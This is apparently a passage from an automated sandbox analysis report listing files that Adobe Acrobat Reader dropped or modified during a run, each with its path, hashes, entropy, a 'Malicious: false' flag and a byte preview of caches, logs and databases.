Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	5.255548200729056
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7IrtNfLrj7xZ:etJCV4FiN/jTN/2r8Mta02fEhgO73gog
MD5:	41DE9DE65D85B15189AD69901DB8807D
SHA1:	C3523C7AC116D71A225E2D79AFA822263D746E41
SHA-256:	84B6E7D54F5D5486A1CBFCC123EDEFD8D1EB4E1060C4EFE7ED70774E503D546F
SHA-512:	83ABFA6097D0C7FE89AFA6E7B2E409DE96AB5B04DDC80B845B675FAC3BFD72AA28B69A6F2EEA2B9A94303D1AC9D64B26746B298EE3AF0C0C7030C09F2E58A0E1
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.152788107882174
Encrypted:	false
SSDEEP:	6:ZN0q2Pwkn2nKuAl9OmbzNMxIFUt8QNthZmw+QNt7kwOwkn2nKuAl9OmbzNMFLJ:ZavYfHAa8jFUt8Qvh/+Qv75JfHAa84J
MD5:	E6742DC3A9EA2DA219F7B2398BAE7EE2
SHA1:	FC88B24987ED5AA1CABFF697A4139236E5C0B923
SHA-256:	3494C77E8B8D58211086153ACA4EB0DCB7C8EF70DCC20947C2CC1877B7DC276B
SHA-512:	EE47EEA074EFB0B319E69B21092BB2913A923CF924CF5353B4DD8ABC16B7EA797D7D888B3F1F778BC8968369313FD466B345ED664E555D5ABADEA9D0C41813C3
Malicious:	false
Preview:	2024/12/02-11:55:04.197 1d00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/02-11:55:04.199 1d00 Recovering log #3.2024/12/02-11:55:04.199 1d00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.152788107882174
Encrypted:	false
SSDEEP:	6:ZN0q2Pwkn2nKuAl9OmbzNMxIFUt8QNthZmw+QNt7kwOwkn2nKuAl9OmbzNMFLJ:ZavYfHAa8jFUt8Qvh/+Qv75JfHAa84J
MD5:	E6742DC3A9EA2DA219F7B2398BAE7EE2
SHA1:	FC88B24987ED5AA1CABFF697A4139236E5C0B923
SHA-256:	3494C77E8B8D58211086153ACA4EB0DCB7C8EF70DCC20947C2CC1877B7DC276B
SHA-512:	EE47EEA074EFB0B319E69B21092BB2913A923CF924CF5353B4DD8ABC16B7EA797D7D888B3F1F778BC8968369313FD466B345ED664E555D5ABADEA9D0C41813C3
Malicious:	false
Preview:	2024/12/02-11:55:04.197 1d00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/02-11:55:04.199 1d00 Recovering log #3.2024/12/02-11:55:04.199 1d00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241202165509Z-194.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.9692716512729113
Encrypted:	false
SSDEEP:	96:RWVGKgCEy5ZaNIaq10ksUMQkTnp/0VmeOB3aCiGyIu/ega4da/I8F5T:GDvLe2sUMQkTnV0EeOCGyIus/hX
MD5:	44532F78DB1B9040001E105FC3E42313
SHA1:	A9B2E0AC1A96DEABD0097E61A204DD181B631D8D
SHA-256:	DF7E8C2B20C781059C9E9BA871C3D1A2718BFEAE7AB93D36C831457F3E072234
SHA-512:	ABD871BDBE5D4EE3900484EA3073CB966868356FAD7AB498D080FDD653C9CA8064CD2E283CDC285BF49FE2F56B605CB68FC2015C2540B6B1C68DE770367491B0
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445011709639067
Encrypted:	false
SSDEEP:	384:yezci5tYiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r/s3OazzU89UTTgUL
MD5:	211699A81C168CCACB5D6121B28ED6B4
SHA1:	BD852ACBEC24CEF7B473B069093A11C5CAD39002
SHA-256:	F2B180D9A3F6A30EAB3F990783048B698E35BF535814B8C73B2E25DBD003C26E
SHA-512:	8879C1F9479B0459E5EBE380B4918F36F644E84F82079E0395C93571F7AB934DA592925F22B9A309541E9AE15EDB92F5FB50DB733A967DB25BC1D462E9762DAD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7753258534139533
Encrypted:	false
SSDEEP:	48:7MQp/E2ioyVgioy9oWoy1Cwoy1oKOioy1noy1AYoy1Wioy1hioybioy+oy1noy1u:7LpjugFfXKQTOb9IVXEBodRBkJ
MD5:	9206B9488D2750EA83839BA4DA2F7BF8
SHA1:	C04AE7AB36D81B68F4627D67CFEF5CFD092D4523
SHA-256:	E93EA5A8B420D7DF8095F8E7F47BEC7DAD1ACBDC1BFE5ADBD12707788BC9C433
SHA-512:	7AAF94B64D43B1A769E0762087EB38DD9E35FCB4559C0D11630E0408831BAE32C1307BAB359959E3D0A382BD8D47E2079C572C36A47407A921BE392F88DB0A70
Malicious:	false
Preview:	.... .c.......#W...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFkl9xulfllXlE/HT8k6Slh1NNX8RolJuRdxLlGB9lQRYwpDdt:kK5mT8+z7NMa8RdWBwRd
MD5:	8F59F32896187113F845401D3284CA3F
SHA1:	E49E73EE9753E212AF20C8EC4C53570042D9AFEB
SHA-256:	8B180FE89DC14100C73BA801047CD36B0A0AF56FECB3A1157A25091F0ED2E435
SHA-512:	94A17B9F124EDA647F8BB33A9857084419ED8CBD8628362ADB22F4B62BEF3D7D5176337AB1B0CD8D491BC7737BCCBC7A93FD1DCAC779B67C7225CCDD5C69C3E7
Malicious:	false
Preview:	p...... .........K...D..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1379890379152853
Encrypted:	false
SSDEEP:	6:kK/5T9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:IDnLNkPlE99SNxAhUe/3
MD5:	31D04001C32D0FB51C8C627D214BEB5F
SHA1:	3E5C39D408D21483D87854C9AE6B9CB3C8DAC661
SHA-256:	D2CDD6D41E805D00FEAD8521F74E2604FC0F017E5D49AC16EA447ABC96B36610
SHA-512:	B5BE8683FCAB882380213EEA353F0C67C65075BD38764893BD42CA55A820BD665C06D10E87AC5527E3C237E3566409E791E1376790E291A2AD8354015D485F2A
Malicious:	false
Preview:	p...... .........j...D..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	243196
Entropy (8bit):	3.3450692389394283
Encrypted:	false
SSDEEP:	1536:vKPCPiyzDtrh1cK3XEivK7VK/3AYvYwgqErRo+RQn:yPClJ/3AYvYwghFo+RQn
MD5:	F5567C4FF4AB049B696D3BE0DD72A793
SHA1:	EBEADDE9FF0AF2C201A5F7CC747C9EA61CFA6916
SHA-256:	D8DBFE71873929825A420F73821F3FF0254D51984FAAA82E1B89D31188F77C04
SHA-512:	E769735991E5B1331E259608854D00CDA4F3E92285FDC500158CBD09CBCCEAD8A387F78256A43919B13EBE70C995D19242377C315B0CCBBD4F813251608C1D56
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.066835114737891
Encrypted:	false
SSDEEP:	48:YYl2sL0/EY0bMSlMtCM5mMOpiMAW0MretMSMmkaMY:Dwv/SYtt55V6AWLre6JmkhY
MD5:	A69CD42EC715364F5035390A7184731E
SHA1:	C79803562D827A2EE59BB40AC255C90A81D704D5
SHA-256:	14EC0E9DAA6EC92CDF0014AD9D6F23D4FFA007D33B343AB2C61B80242B465AFB
SHA-512:	CDF23C8CF9B1A22101690E6BE04BA288992EA093EDA1E6025DEE6AF8F04DB135C5FF34937839B79622C39AE2D61699FE2428CD27F81C4A899C1EA2CD46B1E6A2
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1733158507000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"23c88c8acf166d9fda5ae4d83df3db72","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696420889000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d5fa85f4cf271b5fa75367efd1b392fa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696420884000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"7c2ad79e375e3ea39f82a389e8a5841f","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696420882000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c3af48ba3dee086edbbf20dff46c7ee0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696333862000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7101e009d8bf8920d0a3dd3f5dc75ebc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696333862000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1880878101729135
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUbaHSvR9H9vxFGiDIAEkGVvpPan:lNVmswUUUUUUUUg+FGSIt+
MD5:	334FC835FDD03171AF9553428A226BEA
SHA1:	F93A38CACA9F73AAF240EAD0B5FCEA6AB0597BE9
SHA-256:	F2010A512C4B8E9D6FDC8E24A68E991E9ECB0DE99AD7F74388040B12870CD400
SHA-512:	4A0C58F0D92A5380B0BDFE939FA265D2D945BCF3530337E05C47436379ADDE8CF9FA429AD075A704FEF4170C2F41E3F50FAF6AF5B5BA1213AA0E25708FB9AB2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6082980174887451
Encrypted:	false
SSDEEP:	48:7MeKUUUUUUUUUUbabvR9H9vxFGiDIAEkGVvqqFl2GL7ms6:7qUUUUUUUUUU+FGSIt8KVms6
MD5:	786D332B8684F9015EA8364D4961B919
SHA1:	941D813D492427EDBB61C104960C091F8E52588D
SHA-256:	49E98385F516E0F1AC3BAED7AB9F9C2A583A044758200D7D7E69AA194858CD66
SHA-512:	6CA2D9D6D4EC55088FF1C9CAC07849E63C39D5F7E7227C9B56B846364F16B0785B0030DBED8112DD72D1B6D973EB4B554E8881978A299AFDD261360AE232BBF7
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgvXQGCkWbjzEZxaC2kJVL1GiDYyu:6a6TZ44ADEvQGCkWwZD9DK
MD5:	64686A828D908621C29B53DD5645D31C
SHA1:	3AD5FD13A4B17F638620240494604F147FB39A71
SHA-256:	C5E777297B5330A1E78BE2FEB3CB33CE2D08246CC9799785C60A95C2CD4BC9E0
SHA-512:	0AADFCE0240608B4259A5B192ADA3D7C7E46970E2F06172EBF9AD654219BDAF3729253EF2B9C4FDE8F0C4794B2DB955A221ABDBF7066F672DB7019D75651F3D8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIeba2a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488233466829981
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8gZa+nH:Qw946cPbiOxDlbYnuRKLN
MD5:	70144CE84ADA344D56B93493B7817FA0
SHA1:	0A4A78B46B77DBFDD789A42A3B7E3DCE656B9B35
SHA-256:	753E7DCE43CBB11CB09DDB09269BA8E5A518DB2631B5B66B191F2DE8AC46ABCC
SHA-512:	AACF8BFDAB52FB29FEFD55BAAE9AD1723CCDDBD2C4CBD21CB8C4D425FAB40AE2F1CFFC9B832C9A8A6AABB81755F65A8DF0B4A3B54DFCC5279A39F557D06415F0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.2./.1.2./.2.0.2.4. . .1.1.:.5.5.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9xjsqnr_k2x77n_1c4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PDF document, version 1.6, 0 pages
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.048041831646329
Encrypted:	false
SSDEEP:	6:IngVMrexJzJT0y9VEQIFVmb/eu2g/86S1kxROOh0IPC95IPCquLCSyAAO:IngVMre9T0HQIDmy9g06JXR0LnquLlX
MD5:	A573831F53E03341181590910830732B
SHA1:	02059C2BD6BABA86484AFF7E23EE68ADEB973811
SHA-256:	86668CEF6729CF946D101329C35F1498CC311B8FD4716A8E68FB8501855D9F03
SHA-512:	468DADAD4BC2A166D02E72B04DDEB651FA2551F81E92C893D5C45074BF3D16041B630ABD1B74FE20FDC3B8D6C274D5A5E98B04C6441CFDA93A71B0BC9A5CB5E4
Malicious:	false
Preview:	%PDF-1.6.%......1 0 obj.<</Pages 2 0 R/Type/Catalog>>.endobj.2 0 obj.<</Count 0/Kids[]/Type/Pages>>.endobj.3 0 obj.<<>>.endobj.xref..0 4..0000000000 65535 f..0000000016 00000 n..0000000061 00000 n..0000000107 00000 n..trailer..<</Size 4/Root 1 0 R/Info 3 0 R/ID[<3228C768B7E4534BA6E02DE09910C181><3228C768B7E4534BA6E02DE09910C181>]>>..startxref..127..%%EOF..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-02 11-55-06-359.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	16603
Entropy (8bit):	5.345002489844896
Encrypted:	false
SSDEEP:	384:u1DgrlKZ/STNi0wFIUgvT1CD/El1pMoxWVXVJNn73OL+tS0nCCaov0VWVMdwWaHC:o/7RYt
MD5:	C917D6E15BA70E4C267848B05AE5408C
SHA1:	A3BDB3BB28D10D3BDD1750FEA22AE4E8FB77476C
SHA-256:	51ECC5B7E8568C4E9138D3474EF0A0071A27FF4BAA058CE4A3B9D5F8EFBEBFE1
